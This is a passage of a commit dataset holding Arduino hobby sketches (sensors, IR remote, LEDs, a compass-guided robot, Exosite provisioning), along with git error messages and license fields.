\"ESP32Wifi\", true);\n \n \/\/DHCP IP Assigment - Must set your router's DHCP server to provice a static IP address for this device's MAC address\n \/\/st::Everything::SmartThing = new st::SmartThingsESP32WiFi(str_ssid, str_password, serverPort, hubIp, hubPort, st::receiveSmartString);\n\n \/\/Run the Everything class' init() routine which establishes WiFi communications with SmartThings Hub\n st::Everything::init();\n \n \/\/*****************************************************************************\n \/\/Add each sensor to the \"Everything\" Class\n \/\/*****************************************************************************\n st::Everything::addSensor(&sensor1);\n \n \/\/*****************************************************************************\n \/\/Add each executor to the \"Everything\" Class\n \/\/*****************************************************************************\n\n \n \/\/*****************************************************************************\n \/\/Initialize each of the devices which were added to the Everything Class\n \/\/*****************************************************************************\n\n}\n\n\/\/******************************************************************************************\n\/\/Arduino Loop() routine\n\/\/******************************************************************************************\nvoid loop()\n{\n \/\/*****************************************************************************\n \/\/Execute the Everything run method which takes care of \"Everything\"\n \/\/*****************************************************************************\n st::Everything::run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modified_ST_Anything_Libraries\/ST_Anything_Generic_Test_Sketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"763ba60b7155301c05acd645cdfefa9555293764","subject":"DS18B20 water temp","message":"DS18B20 water temp\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"550e17e9df7fff68c143e724fc17ff8f5426ffe2","subject":"Adding renamed example.","message":"Adding renamed example.\n","repos":"stevemarple\/SoftWire","old_file":"examples\/SoftWire_MLX90614\/SoftWire_MLX90614.ino","new_file":"examples\/SoftWire_MLX90614\/SoftWire_MLX90614.ino","new_contents":"#include <AsyncDelay.h>\n#include <SoftWire.h>\n\n\/* SoftWire_MLX90614\n *\n * Code to demonstrate how to communicate with an SMBus device such as\n * the MLX90614 non-contact infrared thermometer.\n *\n * Connections:\n *\n * For Calunium it is assumed the JTAG pins are used, SDA pin = 16\n * (JTAG TDI) and SCL pin = 19 (JTAG TCK) and that the device is\n * powered from pin 18 (JTAG TMS).\n * For all other boards it is assumed that the MLX90614 is permanently\n * powered and that SDA = A4 and SCL = A5.\n *\n *\/\n\n\n#ifdef CALUNIUM\n#include <DisableJTAG.h>\n\nuint8_t sdaPin = 16; \/\/ JTAG TDI\nuint8_t sclPin = 19; \/\/ JTAG TCK\nuint8_t powerPin = 18;\n#else\nuint8_t sdaPin = A4;\nuint8_t sclPin = A5;\n#endif\n\nconst uint8_t cmdAmbient = 6;\nconst uint8_t cmdObject1 = 7;\nconst uint8_t cmdObject2 = 8;\nconst uint8_t cmdFlags = 0xf0;\nconst uint8_t cmdSleep = 0xff;\n\n\nSoftWire i2c(sdaPin, sclPin);\n\nAsyncDelay samplingInterval;\n\n\nfloat convertToDegC(uint16_t data)\n{\n \/\/ Remove MSB (error bit, ignored for temperatures)\n return (((data & (uint16_t)0x7FFF)) \/ 50.0) - 273.15;\n}\n\n\n\/\/ Switch from PWM mode (if it was enabled)\nvoid exitPWM(void)\n{\n \/\/ Make SMBus request to force SMBus output instead of PWM\n SoftWire::setSclLow(&i2c);\n delay(3); \/\/ Must be > 1.44ms\n SoftWire::setSclHigh(&i2c);\n delay(2);\n}\n\n\nuint16_t readMLX90614(uint8_t command, uint8_t &crc)\n{\n uint8_t address = 0x5A;\n uint8_t dataLow = 0;\n uint8_t dataHigh = 0;\n uint8_t pec = 0;\n\n uint8_t errors = 0;\n digitalWrite(LED_BUILTIN, HIGH); delayMicroseconds(50);\n \/\/ Send command\n errors += i2c.startWait(address, SoftWire::writeMode);\n errors += i2c.rawWrite(command);\n \n \/\/ Read results\n errors += i2c.repeatedStart(address, SoftWire::readMode);\n errors += i2c.readThenAck(dataLow); \/\/ Read 1 byte and then send ack\n errors += i2c.readThenAck(dataHigh); \/\/ Read 1 byte and then send ack\n errors += i2c.readThenNack(pec);\n i2c.stop();\n digitalWrite(LED_BUILTIN, LOW);\n\n crc = 0;\n crc = SoftWire::crc8_update(crc, address << 1); \/\/ Write address\n crc = SoftWire::crc8_update(crc, command);\n crc = SoftWire::crc8_update(crc, (address << 1) + 1); \/\/ Read address\n crc = SoftWire::crc8_update(crc, dataLow);\n crc = SoftWire::crc8_update(crc, dataHigh);\n crc = SoftWire::crc8_update(pec, pec);\n\n if (errors) {\n crc = 0xFF;\n return 0xFFFF;\n }\n return (uint16_t(dataHigh) << 8) | dataLow;\n}\n\n \n\n\nvoid setup(void)\n{\n Serial.begin(9600);\n Serial.println(\"MLX90614_demo\");\n\n pinMode(LED_BUILTIN, OUTPUT);\n \n#ifdef CALUNIUM\n disableJTAG();\n pinMode(powerPin, OUTPUT);\n digitalWrite(powerPin, HIGH);\n Serial.println(\"Powering MLX90614\");\n delay(1000);\n \n#endif\n\n \/*\n * Uncomment if needed. Not a good idea if power switched on\/off\n * since the sensor will be parasitically powered from the SDA and\n * SCL control lines.\n *\/\n \/\/i2c.enablePullups();\n\n i2c.setDelay_us(5);\n i2c.begin();\n delay(300); \/\/ Data is available 0.25s after wakeup\n exitPWM();\n}\n\n\nvoid loop(void)\n{\n#ifdef CALUNIUM\n digitalWrite(powerPin, HIGH);\n delay(300); \/\/ Data available after 0.25s\n exitPWM();\n#endif\n\n uint8_t crcAmbient;\n uint16_t rawAmbient = readMLX90614(cmdAmbient, crcAmbient);\n uint8_t crcObject1;\n uint16_t rawObject1 = readMLX90614(cmdObject1, crcObject1);\n \/\/ Uncomment lines below for dual FoV sensors\n \/\/ uint8_t crcObject2;\n \/\/ uint16_t rawObject2 = readMLX90614(cmdObject2, crcObject2);\n\n Serial.print(\"Ambient: \");\n if (crcAmbient)\n Serial.print(\"bus error\");\n else if (rawAmbient & 0x8000) \n Serial.print(\"read error\");\n else\n Serial.print(convertToDegC(rawAmbient));\n\n Serial.print(\" Object 1: \");\n if (crcObject1)\n Serial.print(\"bus error\");\n else if (rawObject1 & 0x8000) \n Serial.print(\"read error\");\n else\n Serial.print(convertToDegC(rawObject1));\n\n \/\/ Uncomment lines below for dual FoV sensors\n \/\/ Serial.print(\" Object 2: \");\n \/\/ if (rawObject2 & 0x8000) \n \/\/ Serial.print(\"read error\");\n \/\/ else if (crcObject2)\n \/\/ Serial.print(\"bus error\");\n \/\/ else\n \/\/ Serial.print(convertToDegC(rawObject2));\n Serial.println();\n#ifdef CALUNIUM\n digitalWrite(powerPin, LOW);\n#endif\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SoftWire_MLX90614\/SoftWire_MLX90614.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9fe6cdcb7d681a782f8d451ec26e4fb8bbe2a78e","subject":"Added SAMSUNG and SAMSUNG2 example.","message":"Added SAMSUNG and SAMSUNG2 example.\n","repos":"enternoescape\/Arduino-IRremote-Due","old_file":"examples\/SamsungSamsung2Demo\/SamsungSamsung2Demo.ino","new_file":"examples\/SamsungSamsung2Demo\/SamsungSamsung2Demo.ino","new_contents":"\/*\n * IRremote: IRsendDemo - demonstrates sending IR codes with IRsend\n * An IR LED must be connected to Arduino PWM pin 3.\n * Version 0.1 July, 2009\n * Copyright 2009 Ken Shirriff\n * http:\/\/arcfn.com\n * Samsung and Samsung2 protocol added by Joseph Shuttlesworth (Thanks to the people at the original blog post)\n *\/\n#include <IRremote.h>\n \n#define Samsung2Address 0x200 \/\/ Samsung2 Address (Pre data) \n#define Samsung2Power 0x7007F000 \/\/ Samsung2 Power Button\n\n#define Samsung 0xB4B40CF3 \/\/Samsung Power Button\n\nIRsend irsend;\n\nvoid setup()\n{\n}\n\nvoid loop() {\n irsend.sendSamsung2(Samsung2Address,Samsung2Power); \/\/ This should turn your TV on and off\n \n irsend.sendSamsung(Samsung, 32); \/\/ hex value, 32 bits\n delayMicroseconds(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SamsungSamsung2Demo\/SamsungSamsung2Demo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"82d3ce4b35d2490be892a977f5591d39664bddda","subject":"Cyloneye code now tracked.","message":"Cyloneye code now tracked.\n","repos":"jeid64\/A-blinkin","old_file":"cyloneye\/cyloneye.ino","new_file":"cyloneye\/cyloneye.ino","new_contents":"\/\/ Cylon eye code for A'blinkin. To be factored into a lib.\n\/\/ Julien Eid\n\/\/ Josh McSavaney\n\nint dataPin = P1_0; \/\/Define which pins will be used for the Shift Register control\nint latchPin = P1_4;\nint clockPin = P1_5;\n\nint byte1 = 0; \/\/The counter for storing the byte #1 value\nint byte2 = 0; \/\/The counter for storing the byte #2 value\nint val = 0;\n\nvoid setup()\n{\n pinMode(dataPin, OUTPUT); \/\/Configure each IO Pin\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n}\n\nvoid loop()\n{\n digitalWrite(latchPin, LOW);\n delay(250);\n shiftOut(dataPin, clockPin, MSBFIRST, 0xff);\n shiftOut(dataPin, clockPin, MSBFIRST, 0xff);\n shiftOut(dataPin, clockPin, MSBFIRST, 0xff);\n digitalWrite(latchPin, HIGH);\n for (;;)\n {\n for ( int h = 0; h < 12; h++ )\n {\n digitalWrite(latchPin, LOW);\n shiftOut(dataPin, clockPin, MSBFIRST, 0);\n digitalWrite(latchPin, HIGH);\n delay(200);\n }\n for ( int i=0; i <= 13 ; i++ )\n {\n digitalWrite(latchPin, LOW);\n\n for ( int k = 0; k < i-1; k++ )\n {\n shiftOut(dataPin, clockPin, MSBFIRST, 0);\n }\n shiftOut(dataPin, clockPin, MSBFIRST, 0xff);\n shiftOut(dataPin, clockPin, MSBFIRST, 0xff);\n shiftOut(dataPin, clockPin, MSBFIRST, 0xff);\n for ( int j = 13; j > i; j-- )\n {\n shiftOut(dataPin, clockPin, MSBFIRST, 0);\n }\n\n digitalWrite(latchPin, HIGH);\n delay(200);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cyloneye\/cyloneye.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"278f8d9fb9004a393d2f0323a3b1b435f21ce019","subject":"Added DHTester_lcd","message":"Added DHTester_lcd\n","repos":"gartdan\/Arduino,gartdan\/Arduino","old_file":"DHTtester_lcd\/DHTtester_lcd.ino","new_file":"DHTtester_lcd\/DHTtester_lcd.ino","new_contents":"\/\/ Example testing sketch for various DHT humidity\/temperature sensors\n\/\/ Written by ladyada, public domain\n#include <LiquidCrystal.h>\n#include \"DHT.h\"\n\n#define DHTPIN 13 \/\/ what pin we're connected to\n\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11 \n\/\/define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ NOTE: If using a board with 3.3V logic like an Arduino Due connect pin 1\n\/\/ to 3.3V instead of 5V!\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\n\/\/ Initialize DHT sensor for normal 16mhz Arduino\nDHT dht(DHTPIN, DHTTYPE);\n\/\/ NOTE: For working with a faster chip, like an Arduino Due or Teensy, you\n\/\/ might need to increase the threshold for cycle counts considered a 1 or 0.\n\/\/ You can do this by passing a 3rd parameter for this threshold. It's a bit\n\/\/ of fiddling to find the right value, but in general the faster the CPU the\n\/\/ higher the value. The default for a 16mhz AVR is a value of 6. For an\n\/\/ Arduino Due that runs at 84mhz a value of 30 works.\n\/\/ Example to initialize DHT sensor for Arduino Due:\n\/\/DHT dht(DHTPIN, DHTTYPE, 30);\n\nLiquidCrystal lcd(12,11,5,4, 3,2);\n\nvoid setup() {\n Serial.begin(9600); \n Serial.println(\"DHTxx test!\");\n \n dht.begin();\n lcd.begin(16, 2);\n lcd.clear();\n}\n\nvoid loop() {\n\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n \/\/ Read temperature as Celsius\n float t = dht.readTemperature();\n \/\/ Read temperature as Fahrenheit\n float f = dht.readTemperature(true);\n \n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h) || isnan(t) || isnan(f)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n \/\/ Compute heat index\n \/\/ Must send in temp in Fahrenheit!\n float hi = dht.computeHeatIndex(f, h);\n\n Serial.print(\"Humidity: \"); \n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \"); \n Serial.print(t);\n Serial.print(\" *C \");\n Serial.print(f);\n Serial.print(\" *F\\t\");\n Serial.print(\"Heat index: \");\n Serial.print(hi);\n Serial.println(\" *F\");\n lcd.setCursor(0, 0);\n lcd.print(\"Temp: \");\n lcd.print(f);\n lcd.print(\"*F\");\n lcd.setCursor(0, 1);\n lcd.print(\"Humidity: \");\n lcd.print(h);\n lcd.print(\"%\");\n delay(3000);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Temp: \");\n lcd.print(t);\n lcd.print(\"*C\");\n lcd.setCursor(0, 1);\n lcd.print(\"Heat Index: \");\n lcd.print(hi);\n delay(3000);\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DHTtester_lcd\/DHTtester_lcd.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"26ac0b5dab07254596a38410dbe67b1b6c47078e","subject":"prog arduino","message":"prog arduino\n","repos":"ruamberg\/DI_progs,ruamberg\/DI_progs","old_file":"sketch_jan27a\/sketch_jan27a.ino","new_file":"sketch_jan27a\/sketch_jan27a.ino","new_contents":"\n#include <math.h>\n\/\/bibliotecas para comunica\u00e7\u00e3o I2C com a B\u00fassola HMC5883L\n#include <Wire.h> \n#include <HMC5883L.h> \n\nint times = 0;\n \n\/\/controle de 2 DEBUGS dentro da programa\u00e7\u00e3o\n\/\/o primeiro para o recebimento de dados e outro para a sa\u00edda respectivamente\n#define DEBUG0 0\n#define DEBUG1 0\n\n\/\/pino do bot\u00e3o que liga ou desliga a thread t_pid\n#define BUTTON 12\n\n\/\/m\u00e1ximo m\u00f3dulo recebido pelo vetor\n#define MODULE_MAX 425\n\n\/\/'baudrate' da sa\u00edda seria\n#define SERIAL 9600\n\n\/\/n\u00famero de repeti\u00e7\u00f5es de leituras na b\u00fassola que ser\u00e3o feitas para se ter um valor de retorno\n#define COMPASS_TIME 150\n\n\/\/define a pot\u00eancia m\u00ednima que o rob\u00f4 ir\u00e1 se mover\n#define PERCENT_MIN 20\n\n#define PID(a,b,c) a+b+c\n\n\/\/pinos dos motores - ponte H\nint robot_out_0[2] = {3,4}, robot_out_1[2] = {5,6};\n \nfloat angle_begin, error_angle, error_motor[2], error_velo, m_value; \/\/float de convers\u00e3o do angulo e dos errors do pid\n\nfloat p_angle = 0, kp_angle = 1, i_angle = 0, ki_angle = 0;\n\ndouble v_in[2] = {0,0}, v_robot[2] = {1,0}; \/\/vetores de entrada e do robo\n\nchar x_axis[20] = {'0','\\0'}, y_axis[20] = {'0','\\0'};\n\nboolean button; \n\nHMC5883L compass; \/\/Inst\u00e2ncia a biblioteca para a b\u00fassola\n\nvoid vector_in() \n{\n\/\/receber o vetor at\u00e9 o ponto\n char serial_in[20];\n char c = 0;\n byte index = 0;\n \n\/\/ double measure = millis();\n \n while(Serial.available() > 0 && c != '|') \n {\n if(index < 19) \n {\n c = Serial.read(); \n x_axis[index] = c; \n index++; \n x_axis[index] = '\\0';\n }\n }\n x_axis[index-1] = '\\0';\n \n index = 0;\n while(Serial.available() > 0) \n {\n if(index < 19) \n {\n c = Serial.read(); \n y_axis[index] = c; \n index++; \n y_axis[index] = '\\0';\n }\n }\n \n \/\/ measure = millis() - measure;\n \n Serial.println(times++);\n \n v_in[0] = atof(x_axis);\n v_in[1] = atof(y_axis); \n \n \/* \n Serial.print(v_in[0]);\n Serial.print(\"|\");\n Serial.println(v_in[1]);\n *\/\n \n m_value = sqrt(pow(v_in[0], 2) + pow(v_in[1], 2));\n\n if(m_value != 0)\n {\n v_in[0] \/= m_value;\n v_in[1] \/= m_value;\n }\n\n \/\/receber o vetor do rob\u00f4\n float angle;\n\n angle = angle_begin - get_angle();\n\n v_robot[0] = cos(angle);\n v_robot[1] = sin(angle);\n\n if(DEBUG0)\n {\n Serial.print(v_in[0]);\n Serial.print(\"|\");\n Serial.print(v_in[1]);\n Serial.print(\"| Module: \");\n Serial.println(m_value);\n Serial.print(v_robot[0]);\n Serial.print(\"|\");\n Serial.println(v_robot[1]);\n }\n}\n\n\/\/fun\u00e7\u00e3o que recebe o \u00e2ngulo da b\u00fassola\nfloat get_angle()\n{\n \n float heading; \/\/Vari\u00e1vel para armazenar o valor aferido\n float precisao; \/\/Vari\u00e1vel parar o melhorar a precisao do valor aferido\n\n precisao = 0; \/\/Zera a vari\u00e1vel para uma nova leitura\n\n for(int i=0;i<COMPASS_TIME;i++) \/\/Faz a leitura 100 e armazenar a somat\u00f3ria\n {\n\n \/\/Pega os dados necess\u00e1rios para o c\u00e1lculo da b\u00fassola digital\n MagnetometerScaled scaled = compass.ReadScaledAxis();\n int MilliGauss_OnThe_XAxis = scaled.XAxis;\n heading = atan2(scaled.YAxis, scaled.XAxis);\n float declinationAngle = 0.3889; \/\/Compensa\u00e7\u00e3o dos polos (S\u00e3o Paulo - Recife)\n heading += declinationAngle;\n\n \/\/Converte o valor aferido para angulo\n if(heading < 0)\n {\n heading += 2*PI;\n } \n\n if(heading > 2*PI)\n {\n heading -= 2*PI;\n } \n\n precisao = precisao + heading;\n delay(1);\n\n }\n\n heading = precisao\/COMPASS_TIME; \/\/Pega a somat\u00f3ria e tira a m\u00e9dia dos valores aferidos\n return heading;\n}\n\nvoid pid()\n{\n double produtoe[2], angle_b;\n float kp = 1;\n\n double moviment_sig;\n\n produtoe[0] = (v_in[0] * v_robot[0]) + (v_in[1] * v_robot[1]); \/\/p.e. do angulo entre o vetor do rob\u00f4 e do vetor de posi\u00e7\u00e3o recebido \n produtoe[1] = (v_in[0] * (v_robot[0] * -1)) + (v_in[1] * (v_robot[1] * -1));\/\/p.e. entre o vetor oposto ao rob\u00f4 e do vetor de posi\u00e7\u00e3o recebido\n if(acos(produtoe[0]) <= acos(produtoe[1]))\n {\n angle_b = acos(produtoe[0]);\n moviment_sig = 1;\n }\n else\n {\n angle_b = acos(produtoe[1]);\n moviment_sig = -1;\n }\n\n if(v_in[0] != 0 || v_in[1] != 0) \n error_angle = angle_b\/PI;\n else\n {\n error_angle = 0;\n i_angle = 0;\n }\n\n if(v_robot[0] > v_in[0]) error_angle *= -1; \/\/c\u00e1lculo do erro para ser aplicado no motor, dependente do \u00e2ngulo\n \n p_angle = error_angle * kp_angle;\n error_angle = PID(p_angle, i_angle, 0); \/\/aplica\u00e7\u00e3o da proporcional \n error_angle = (error_angle - (-1)) * (100 - (-100)) \/ (1 - (-1)) + (-100);\n\n error_velo = m_value; \/\/c\u00e1lculo do erro para ser aplicado no motor, dependente do m\u00f3dulo e da dire\u00e7\u00e3o em rela\u00e7\u00e3o ao eixo y\n error_velo *= kp;\n error_velo = (error_velo - 0) * ((255 - fabs(error_angle)) - 0) \/ (MODULE_MAX - 0);\n\n error_motor[0] = (error_velo + error_angle) * moviment_sig; \/\/sa\u00edda nos motores proporcionais ao erro\n error_motor[1] = (error_velo - error_angle) * moviment_sig;\n\n if(error_motor[0] < ((PERCENT_MIN\/100.0)*255.0) && error_motor[0] > ((-PERCENT_MIN\/100.0)*255.0))\n error_motor[0] = 0;\n if(error_motor[1] < ((PERCENT_MIN\/100.0)*255.0) && error_motor[1] > ((-PERCENT_MIN\/100.0)*255.0))\n error_motor[1] = 0;\n \n if(DEBUG1)\n {\n Serial.print(\"|\");\n Serial.print(error_motor[0]);\n Serial.print(\"| . |\"); \/\/debug serial sobre a movimenta\u00e7\u00e3o dos motores\n Serial.print(error_motor[1]);\n Serial.println(\"|\");\n }\n\n moviment();\n\n}\n\n\/\/ fun\u00e7\u00e3o que executa a movimenta\u00e7\u00e3o do rob\u00f4\nvoid moviment()\n{\n \/\/motor esquerda\n if(error_motor[0] > 0)\n {\n analogWrite(robot_out_0[0], fabs(error_motor[0]));\n digitalWrite(robot_out_0[1], LOW);\n }\n else if(error_motor[0] > 255)\n {\n analogWrite(robot_out_0[0], 255);\n digitalWrite(robot_out_0[1], LOW); \n }\n else if(error_motor[0] < 0)\n {\n analogWrite(robot_out_0[1], fabs(error_motor[0]));\n digitalWrite(robot_out_0[0], LOW);\n }\n else if(error_motor[0] < -255)\n {\n analogWrite(robot_out_0[1], 255);\n digitalWrite(robot_out_0[0], LOW);\n }\n else\n {\n digitalWrite(robot_out_0[0], HIGH);\n digitalWrite(robot_out_0[1], HIGH);\n }\n\n \/\/motor direita\n if(error_motor[0] > 0)\n {\n analogWrite(robot_out_1[0], fabs(error_motor[0]));\n digitalWrite(robot_out_1[1], LOW);\n }\n else if(error_motor[0] > 255)\n {\n analogWrite(robot_out_1[0], 255);\n digitalWrite(robot_out_1[1], LOW); \n }\n else if(error_motor[0] < 0)\n {\n analogWrite(robot_out_1[1], fabs(error_motor[0]));\n digitalWrite(robot_out_1[0], LOW);\n }\n else if(error_motor[0] < -255)\n {\n analogWrite(robot_out_1[1], 255);\n digitalWrite(robot_out_1[0], LOW);\n }\n else\n {\n digitalWrite(robot_out_1[0], HIGH);\n digitalWrite(robot_out_1[1], HIGH);\n }\n}\n\n\nvoid setup()\n{\n\n for(int x = 0; x < 2; x++)\n {\n pinMode(robot_out_0[x], OUTPUT);\n pinMode(robot_out_1[x], OUTPUT);\n }\n\n pinMode(BUTTON, INPUT);\n\n Serial.begin(SERIAL);\n\n Wire.begin(); \/\/Inicia a comunica\u00e7\u00e3o o I2C\n\n\/\/Configura a b\u00fassola\n compass = HMC5883L();\n compass.SetScale(1.3);\n compass.SetMeasurementMode(Measurement_Continuous);\n \n angle_begin = get_angle();\/\/seta o cangulo inicial do robo\n}\n \nvoid loop()\n{\n button = digitalRead(BUTTON);\n double time_in_millis = millis();\n \n vector_in();\n pid();\n time_in_millis = millis() - time_in_millis;\n if(DEBUG0)\n {\n Serial.print(\"time:\");\n Serial.println(time_in_millis);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_jan27a\/sketch_jan27a.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6fc1476a14ab567a735bb36e07188ac4d4bd917e","subject":"FLAG_PRUEBAS_MOTOR","message":"FLAG_PRUEBAS_MOTOR\n\nCreo una constante para hacer pruebas y no tener que esperar 24 horas.\r\nSi es true har\u00e1 una epera de 10 seg. entre riegos. En caso contrario funcionar\u00e1 como se espera.","repos":"oranz\/AgroRanz,oranz\/AgroRanz,oranz\/AgroRanz","old_file":"Arduino\/RiegoMacetas\/regado24h.ino","new_file":"Arduino\/RiegoMacetas\/regado24h.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/oranz\/AgroRanz.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7d9578576ee1ed4aefe0eb2341671351ba7eaca3","subject":"photon sensor\/actuator REPL, round 1","message":"photon sensor\/actuator REPL, round 1\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"21d611119552e17a566c64e0bed76daae4b85093","subject":"Added Yun Example (With Provisioing)","message":"Added Yun Example (With Provisioing)\n","repos":"exosite-garage\/arduino_exosite_library","old_file":"examples\/YunProvision\/YunProvision.ino","new_file":"examples\/YunProvision\/YunProvision.ino","new_contents":"\/\/*****************************************************************************\n\/\/\n\/\/ YunProvision - A simple example showing how to use the Exosite library\n\/\/ on the Arduino Y\u00fan with provisioning.\n\/\/\n\/\/ Copyright (c) 2013 Exosite LLC. All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without \n\/\/ modification, are permitted provided that the following conditions are met:\n\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright \n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Exosite LLC nor the names of its contributors may\n\/\/ be used to endorse or promote products derived from this software \n\/\/ without specific prior written permission.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITH ALL FAULTS.\n\/\/ NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT\n\/\/ NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY\n\/\/ CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL\n\/\/ DAMAGES, FOR ANY REASON WHATSOEVER.\n\/\/\n\/\/*****************************************************************************\n\n#include <Bridge.h>\n#include <YunClient.h>\n#include <Process.h>\n#include <Exosite.h>\n#include <EEPROM.h>\n\n\/*==============================================================================\n* Configuration Variables\n*\n* Change these variables to your own settings.\n*=============================================================================*\/\n\/\/ Use these variables to customize what datasources are read and written to.\nString readString = \"command&uptime\";\nString writeString = \"uptime=\";\nString returnString;\n\n\/\/ Number of Errors before we try a reprovision.\nconst unsigned char reprovisionAfter = 3;\n\n\/*==============================================================================\n* End of Configuration Variables\n*=============================================================================*\/\nclass YunClient client;\nExosite exosite(&client);\n\nunsigned char errorCount = reprovisionAfter; \/\/ Force Provision On First Loop\nchar macString[18]; \/\/ Used to store a formatted version of the MAC Address\n\n\/*==============================================================================\n* setup\n*\n* Arduino setup function.\n*=============================================================================*\/\nvoid setup(){ \n Bridge.begin();\n Serial.begin(115200);\n Serial.println(\"Boot\");\n \n getYunMAC(macString, 18);\n \n \/\/ Print Some Useful Info\n Serial.print(F(\"MAC Address: \"));\n Serial.println(macString);\n}\n\n\/*==============================================================================\n* loop \n*\n* Arduino loop function.\n*=============================================================================*\/\nvoid loop(){\n \/\/ Check if we should reprovision.\n if(errorCount >= reprovisionAfter){\n if(exosite.provision(\"exosite\", \"ard-generic\", macString)){\n errorCount = 0;\n }\n }\n \n \/\/Write to \"uptime\" and read from \"uptime\" and \"command\" datasources.\n if ( exosite.writeRead(writeString+String(millis()), readString, returnString)){\n Serial.println(\"OK\");\n Serial.println(returnString);\n errorCount = 0;\n }else{\n Serial.println(\"Error\");\n errorCount++;\n }\n\n delay(5000);\n}\n\nvoid getYunMAC(char* MACptr, byte bufSize) {\n Process p;\t\t\/\/ Create a process and call it \"p\"\n p.runShellCommand(\"\/sbin\/ifconfig -a | \/bin\/grep HWaddr |\/bin\/grep wlan0 | \/usr\/bin\/awk '{print $5}'\");\n\n for(int i = 0; i < (bufSize-1) && p.available() > 0; i++) {\n MACptr[i] = p.read();\n MACptr[i+1] = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/YunProvision\/YunProvision.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a749549dce058bc32ecd83af199af4b436d27805","subject":"ok, we should not use the xtarget with gearing","message":"ok, we should not use the xtarget with gearing\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"efbdcd7653ec9fab74b6366b9ba520f74389108b","subject":"Create esp8266_webinterface.ino","message":"Create esp8266_webinterface.ino","repos":"Miauto\/WS2812FX-ESP,Miauto\/WS2812FX-ESP","old_file":"esp8266_webinterface.ino","new_file":"esp8266_webinterface.ino","new_contents":"\/*\n WS2812FX Webinterface.\n \n Harm Aldick - 2016\n www.aldick.org\n\n \n FEATURES\n * Webinterface with mode, color, speed and brightness selectors\n\n\n LICENSE\n\n The MIT License (MIT)\n\n Copyright (c) 2016 Harm Aldick \n\n Permission is hereby granted, free of charge, to any person obtaining a 